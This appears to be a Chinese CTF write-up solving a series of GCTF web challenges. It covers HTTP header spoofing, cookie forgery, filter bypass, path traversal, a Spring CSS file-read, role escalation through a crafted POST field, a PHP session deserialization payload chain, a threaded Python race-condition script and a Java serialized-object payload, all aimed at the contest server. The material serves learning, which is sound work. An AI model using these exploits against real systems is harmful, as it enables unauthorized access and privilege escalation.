直接扫描目录发现了robots.txt
http://218.2.197.232:18001/rob0t.php
-----------------------Congratulation!---------------------------
GCTF{ae609880185f1d75}
加上
'X-Forwarded-For':'localhost'
'HOST':'www.topsec.com'
'Referer':'www.baidu.com'
x-requested-with:XMLHttpRequest
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1; Trident/4.0)
还没完???
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT 5.1;.NET CLR 8.0)
Accept-Language:de-DE
Set-Cookie: login=4e6a59324d545a6a4e7a4d324e513d3d
一开始一位是md5加密,但是解不开…再看看是16进制…啥的,最后发现是false,先转换成16进制,然后base64加密,在转换成16进制,我们构造true的即可
然后添加
Cookie: login=4e7a51334d6a63314e6a553d
终于完成了…
GCTF{Qb8HR4pGmScMqgxTSwP7QZmb}
说是过滤了什么,掏出小本本看看什么可以用来着,发现过滤不过如此,换行用%0a绕过,空格用%09绕过…(一开始我还以为只需要构造空格构造个curl语句,结果并不是来着…)
然后发现还存在什么绕过
GCTF{ADFAFADSFASFZVASDFADV}
看了一下别人的wp,居然在源码中…
http://218.2.197.232:18008/a/down.php?p=...//down.php
发现访问成功
google一发发现貌似是一个springcss的漏洞
http://218.2.197.232:18015/spring-css/resources/file:/etc/flag
GCTF{db839442402f5874}
看看大佬是怎么找到flag的
这个题目没什么思路,感觉是注入但是存在过滤,而且不失gbk编码,也不是宽字节注入,不是很会。然后发现在生日的地方如果输入字母会得到
http://218.2.197.232:18014/edit.php
POST:
name=123123&email=f997552762103d11%40gctf.cn&phone=123123&mobile=123123&address=%E4%B8%AD%E5%9B%BD&birth=11111111&gender=%E9%9A%BE&uid=0, role =0x61646d696e
然后返回页面得到flag
GCTF{9CtyJLHMxkjLUs6qfUM5Cmrb}
学习一波,不觉得简单,大佬勿喷…
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2title>
head>
<body>
在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。
<form action="./query.php" method="POST">
<input type="text" name="ticket" />
<input type="submit" />
form>
<a href="./?src=1">查看源码a>
body>
html>
然后通过qurey.php~下载到了源码(看来以后的源码泄露问题不能老是盯着index.php了)
/************************/
/*
//query.php 閮ㄥ垎浠g爜
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //鎶辨瓑
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}
*/
这个题目太好了,正好对序列化什么的非常不熟悉,正好学习一波
我们需要注意到在index.php编码方式是php_serialize,而在qurey.php中没有标记,那么就是默认成了php,那么构成反序列化
首先我们需要绕过这个TOPC中的__wakeup,这里通过可以通过修改反序列化后对象的属性个数绕过wakeup的效果,构造代码如下
$a=new TOPA();
$b=new TOPB();
$c=new TOPC();
$c->obj="123";
$c->attr="aaaaaa";
echo serialize($c);
if($this->obj->token === $this->obj->ticket){
这玩意该怎么绕过…然后看大牛的wp学习一波新的姿势…
$a->ticket = &$a->token;
,即可绕过判断!!!
$a=new TOPA();
$b=new TOPB();
$c=new TOPC();
$a->username='aaaaaaaaaaaaaaaaa';
$a->password='bbbbbbbbbbbbbbbbbb';
$a->ticket = &$a->token;
$b->attr=serialize($a);
$c->obj="123";
$c->attr=$b;
echo serialize($c);
然后得到序列化值,注意别忘了改前面的参数个数!!!
http://218.2.197.232:18017/?src=|O:4:"TOPC":3:{s:3:"obj";s:3:"123";s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:127:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"password";s:18:"bbbbbbbbbbbbbbbbbb";}";}}
key is:{JJj56M3e26Avvv6gnUZ3S4WZ}
GCTF{JJj56M3e26Avvv6gnUZ3S4WZ}
这个题目我还是蛮懵的,因为之前从来没接触过条件竞争,首先下一下源码
Content-type: text/html; charset=utf-8");
session_start();
$mysqli = new mysqli("localhost", "root", "", "gctf09");
if ($mysqli->connect_errno) {
die("数据库连接错误,多次出现请联系管理员。");
}
//打印源码
if(isset($_REQUEST['showcode'])){
highlight_file(___FILE___);
exit();
}
$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
$user=substr(md5(uniqid().uniqid()),8,16);
$_SESSION["name"]=$user;
$stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
$stmt->bind_param("ss",$user,md5($user));
$stmt->execute();
$stmt->close();
$stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
}else{
$user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
$stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
$stmt->bind_param("ss",$user,md5($_POST['password']));
$stmt->execute();
$stmt->close();
//判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
$stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
$mysqli->close();
die("修改成功");
}
$mysqli->close();
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>条件竞争title>
<link crossorigin="anonymous" href="css/frameworks.css" media="all" rel="stylesheet" />
<link crossorigin="anonymous" href="css/github.css" media="all" rel="stylesheet" />
<link crossorigin="anonymous" href="css/site.css" media="all" rel="stylesheet" />
head>
<body>
<div class="setup-wrapper" style="">
<div class="setup-main ">
<div class="setup-form-container">
<form accept-charset="UTF-8" action="index.php?method=reset" autocomplete="off" class="setup-form js-signup-form" id="signup-form" method="post"><div style="margin:0;padding:0;display:inline">div>
<h2 class="setup-form-title mb-3">
h2>
<dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">用户名label>dt><dd><input placeholder="用户名" autofocus="autofocus" class="form-control" id="name" name="name" size="30" type="text" value="">dd>dl>
<dl class="form-group"><dt class="input-label"><label autocapitalize="off" autofocus="autofocus" name="name">新密码label>dt><dd><input placeholder="密码" autofocus="autofocus" class="form-control" id="password" name="password" size="30" type="text">dd>dl>
<button type="submit" class="btn btn-primary" id="signup_button" data-disable-with="Reset account…">重置账号button><a href="?showcode=1">查看源码<a/> <a href="login.php">登录<a/>
form>
div>
div>
div>
body>
html>
然后可以看到申请新的账号的时候,显示插入user然后判断该用户是不是管理员.在重置的时候显示删掉用户,再该用户权限,再申请一个用户,最后才给用户赋权限
那么如果我们再重置账户的第三步和第四步之间登陆就可以了。因为第四步相当于给用户降权,相当于是告诉系统他不是管理员
#_*_ coding:utf-8 _*_
import requests
import threading
url_change = 'http://218.2.197.232:18009/index.php?method=reset'
url_login = 'http://218.2.197.232:18009/login.php?method=login'
cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}
data = {
'name':'6adead81c67aa242',
'password':'6adead81c67aa242123123'
}
def reset(url_change,data,cookies):
while True:
html = requests.post(url=url_change,data=data,cookies=cookies).text
print html
def login(url_login,data,cookies):
while True:
html = requests.post(url=url_login,data=data,cookies=cookies).text
print html
threads = []
t1=threading.Thread(target=reset,args=(url_login,data,cookies))
t2=threading.Thread(target=reset,args=(url_login,data,cookies))
t3=threading.Thread(target=reset,args=(url_login,data,cookies))
t4=threading.Thread(target=reset,args=(url_login,data,cookies))
t5=threading.Thread(target=reset,args=(url_login,data,cookies))
threads.append(t1)
threads.append(t2)
threads.append(t3)
threads.append(t4)
threads.append(t5)
for t in threads:
t.setDaemon(True)
t.start()
t.join()
#_*_ coding:utf-8 _*_
import requests
import threading
url_change = 'http://218.2.197.232:18009/index.php?method=reset'
url_login = 'http://218.2.197.232:18009/login.php?method=login'
cookies={'Cookie': 'PHPSESSID=qq1pcbknl0959hd3ec0fd36s25'}
data = {
'name':'6adead81c67aa242',
'password':'6adead81c67aa242123123'
}
def reset(url_change,data,cookies):
while True:
html = requests.post(url=url_change,data=data,cookies=cookies).text
print html
def login(url_login,data,cookies):
while True:
html = requests.post(url=url_login,data=data,cookies=cookies).text
print html
threads = []
t1=threading.Thread(target=reset,args=(url_change,data,cookies))
t2=threading.Thread(target=reset,args=(url_change,data,cookies))
t3=threading.Thread(target=reset,args=(url_change,data,cookies))
threads.append(t1)
threads.append(t2)
threads.append(t3)
for t in threads:
t.setDaemon(True)
t.start()
t.join()
分开去跑就行
这个没啥好说的,两个线程同时开炮就行,随便构造一个没用的爆破点然后导入字典跑
GCTF{KBnLGG6qR2ZdYe4HbUL8XpAP}
感觉条件竞争就是找到一些可以利用的点,然后疯狂地碰撞的样子
首先题目的名字就是提升了,肯定是有关java序列化的问题,当然了原来完全没接触过,首先输入admin抓包看一下
//user类文件
package com.ctf.cn;
import java.io.Serializable;
public class User implements Serializable{
private static final long serialVersionUID = 66662333L;
public Integer id=Integer.valueOf(1);
public String name="admin";
}
//Main主函数嗯
import java.util.*;
import com.ctf.cn.User;
import java.io.*;
import sun.misc.resources.*;;
public class Main {
public static void main(String[] args) throws FileNotFoundException,IOException {
User user = new User();
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("G:/test.txt")));
oo.writeObject(user);
System.out.println("Person对象序列化成功!");
oo.close();
}
}
当然这个serialVersionUID 你是不知道的,索性网页会报错!
paylaod:
http://218.2.197.232:18005/ctfobj/Login?
object=rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=
GCTF{NsyTascaUR73uKd7e5YY}